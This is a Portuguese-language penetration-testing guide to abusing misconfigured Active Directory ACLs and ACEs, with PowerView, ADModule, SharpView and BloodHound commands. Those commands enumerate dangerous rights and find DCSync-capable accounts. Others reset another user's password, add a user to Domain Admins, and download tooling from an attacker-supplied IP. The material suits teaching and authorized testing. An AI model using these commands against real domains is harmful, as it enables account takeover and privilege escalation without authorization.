# Explorando ACL/ACE

Permissões mal configuradas são sempre um bom ponto de entrada para um atacante e no AD não poderia ser diferente. Iremos ver no decorrer dessa página, informaçes sobre as `DACL` (Discretionary Access Control Lists) e ACE (Acccess Control Entries),.



### ACL

Quando um usuário loga no Windows, ele recebe um token no qual consiste em verificar se o usuário está incluso na ACL do objetos ou recursos que ele solicita. Essa ACL é uma lista composta por ACE (Access Control Entry) e cada ACE em uma ACL, identifica uma entidade de segurança, os direitos de acesso permitido, negados ou auditados para essa entidade.

Abaixo segue os tipos de ACL:

* **`DACL (Discretionary Access Control List)`** = Tudo no AD é um objeto e todos os objetos possuem uma DACL. Em resumo, a DACL define as entidades de segurança com seus respectivos tipos de acessos como `Allowed` ou `Denied` (Permitido ou Negado) para o objeto em questão. Para cada tipo de acesso (Allowed ou Denied), temos a operação que pode (ou não) ser realizada, sendo elas: `Read`, `Write` e `Execute`. Sendo assim, quando um usuário tenta acessar um objeto, o sistema verifica as ACE's na DACL desse objeto que está sendo acessado, para determinar se deve ou não conceder acesso a esse usuário. Podemos por exemplo configurar na DACL que, o usuário mysther terá acesso permitido (allowed) para leitura (read) e execução (execute) nesse objeto, mas não para escrita (write) e também que todos os usuários (Everyone) e o grupo `RH` tenham acesso negado (denied) para leitura (read), execução (execute) e escrita (write) nesse objeto
* **`SACL (System Access Control List)`** = Permite que os administadores registrem em logs, as tentativas de acesso a um objeto protegido. Diferente da ACE na DACL que configura permissões de acesso, A ACE na SACL especifica os tipos de tentativas de acesso por uma entidade, salvando os registros no log de evento de segurança do Windows. Nesses logs, pode conter casos onde houve tentativa de acesso com falha, bem-sucedida ou ambos. Por exemplo, podemos configurar uma SACL na nossa máquina local para verificar se um determinado objeto (como o lsass) foi lido (read) ou até mesmo modificado (write)



### ACE

Abaixo, está uma rápida descrição das permissões e tipos de objetos do Active Directory que são interessantes:

* **`GenericAll`** = O mesmo que um `Full-Control` na ACE, ou seja, direitos totais ao objeto (adicionar usuários a um grupo ou redefinir a senha do usuário, etc)
* **`GenericWrite`** = Atualiza os atributos do objeto (ou seja, script de logon)
* **`WriteOwner`** = Altera o proprietário do objeto para que o usuário controlado pelo invasor assuma o objeto
* **`WriteDACL`** = Modifica as ACE's do objeto, podendo assim dar ao invasor controle total sobre o objeto
* **`AllExtendedRights`** = Capacidade de adicionar usuário a um grupo ou redefinir a senha
* **`ForceChangePassword`** = Capacidade de alterar a senha do usuário
* **`Self (Self-Membership)`** = Pode adicionar qualquer usuário ao grupo
* **`Add Members`** = Adiciona membros



### PowerView

Listando todas as ACL's

```bash
Get-ObjectAcl
```

Listando todas as ACL's em que um determinado usuário é "afetado". Imagine que estivesse vendo a lista de propriedade de ACE desse usuário através do AD no modo GUI.

```bash
Get-ObjectAcl -SamAccountName <user>
```

Pegando a lista de ACE de um usuário, de forma semelhante ao GUI do AD

```bash
Get-ObjectAcl -SamAccountName <user_ou_group> | select @{ Name='Principal'; Expression={ConvertFrom-SID $_.SecurityIdentifier}},ActiveDirectoryRights
```

Comando semelhante ao anterior, porém pegando todas as ACE's de todos os obejtos de uma só vez

```bash
Get-ObjectAcl | select @{ Name='Principal'; Expression={ConvertFrom-SID $_.SecurityIdentifier}},ActiveDirectoryRights,ObjectDN
```

Pesquisando todos os objetos que um determinado usuário ou grupo, tem acesso via ACE

```bash
Get-ObjectAcl | ?{$_.SecurityIdentifier -match $(ConvertTo-SID '<nome_ou_grupo>')} | select ObjectDN,ActiveDirectoryRights
```

Verificando todos os objetos que possuem ACL `GenericAll` sobre o usuário `Administrator`

```bash
Get-DomainObjectAcl -SamAccountName Administrator | ?{$_.ActiveDirectoryRights -eq "GenericAll"} | select @{Name="Principal"; Expression={ConvertFrom-SID $_.SecurityIdentifier}}
```

O comando `Find-InterestingDomainAcl` pesquisa objetos no Domínio com direitos de modificação sobre objetos não internos. Esse comando produz uma grande quantidade de dados, então precisa ser filtrado para obter melhores informações

```bash
Find-InterestingDomainAcl -Domain <domain.local> -ResolveGUIDs
```



### Enumerando ACL

#### Built-in Cmdlets

Verificando quais usuários tem permissões `GenericAll` ou `WriteProperty` em um detereminado usuário do AD

```bash
(Get-ACL "AD:$((Get-ADUser <user.name>).distinguishedname)").access | ? {$_.ActiveDirectoryRights -match "WriteProperty" -or $_.ActiveDirectoryRights -match "GenericAll"} | Select IdentityReference,ActiveDirectoryRights -Unique | ft -W
```

#### PowerView

Verificando quais usuários tem permissões `GenericAll` ou `WriteProperty` em um detereminado usuário do AD

```bash
Get-DomainObjectAcl -Identity <user> -Domain <domain.local> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteProperty" -or $_.ActiveDirectoryRights -match "GenericAll"}
```

Procurando por usuários que podem realitzar DCSync:

```bash
Get-ObjectACL "DC=<domain>,DC=<local>" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')} | Select-Object SecurityIdentifier | Sort-Object -Property SecurityIdentifier -Unique | % {convertfrom-sid $_.SecurityIdentifier}

# Ou 

$dcsync = Get-ObjectACL "DC=<domain>,DC=<local>" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')} | Select-Object -ExpandProperty SecurityIdentifier | Select -ExpandProperty value
Convert-SidToName $dcsync
```



### ADModule

Verificando todas as ACE's do usuário `administrator`. Altere a consulta LDAP caso queira filtrar por outro usuários

```bash
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<domain>,DC=<local>').Access
```



### GenericAll (User)

Conforme dito, a permissão `GenericAll` nos permite ter direitos totais aos objetos e isso inclui alterar a senha outros usuários. Abaixo segue um exemplo de como alterar a senha de um usuário e logo abaixo algumas maneiras de descobrir se nosso usuário possui ou não essa permissão.

Para isso, estamos utilizando o `ADModule` (link disponível no final da página).

```bash
iwr -UseBasicParsing http://<ip>/ADModule-master.zip -OutFile ADModule-master.zip
Expand-Archive ADModule-master.zip
Import-Module C:\path\to\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\path\to\ADModule-master\ADModule-master\ActiveDirectory\activedirectory.psd1
Set-ADAccountPassword -Identity <user> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<nova_senha>" -Force)
```

#### PowerView.ps1

Primeiro vamos verificar se nosso usuário atual possui permissões de `GenericAll` no objeto AD, com um dos comandos abaixo:

```powershell
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}  

Invoke-ACLScanner | ?{$_.IdentityReference -match '<user>'}
```

Procure onde tenha o nome do usuário em `IdentityReference` (talvez não apareca) e veja se há `GenericAll` em `ActiveDirectoryRights` (esse item tem que estar presente). Caso seja positivo, podemos alterar a senha do usuário que está presente em `ObjectDN`, sem precisar saber a senha atual. Para acessar o terminal com a conta do usuário, execute o comando abaixo:

```powershell
net user <user> delegate /domain
```



#### SharpView.exe

```powershell
SharpView.exe Invoke-AclScanner -domain <domain>
```



#### BloodHound

Em `Node Info`, veja se há algo em `First Degree Object Control` (na seção `Outbound Object Control`).



## GenericAll (Group)

Semelhante ao `GenericAll` que vimos anteriormente, porém este se aplica a permissões em grupo.

Primeiro vamos pesquisar pelos grupos e buscar o `Distinguishedname`.

```powershell
Get-NetGroup "domain admins" -FullData
```

Após localizar o `Distinguishedname`, utilize-o no comando abaixo (para fins, de exemplo, foi utilizado o `CN=Domain Admins,CN=Users,DC=offense,DC=local`):

```powershell
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=domain,DC=local"}
```

Assim como no modo do usuário, no grupo também devemos procurar por `GenericAll` em `ActiveDirectoryRights` e, caso positivo, podemos ter permissões de colocar usuários como Domain Admins (levando em conta que foi utilizado esse grupo como exemplo).

```powershell
net group "domain admins" <user> /add /domain
```



### Sites

```bash
# BloodHound
https://github.com/BloodHoundAD/BloodHound

# PowerView
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

# SharpView
https://github.com/tevora-threat/SharpView

# ADModule
https://github.com/samratashok/ADModule
```



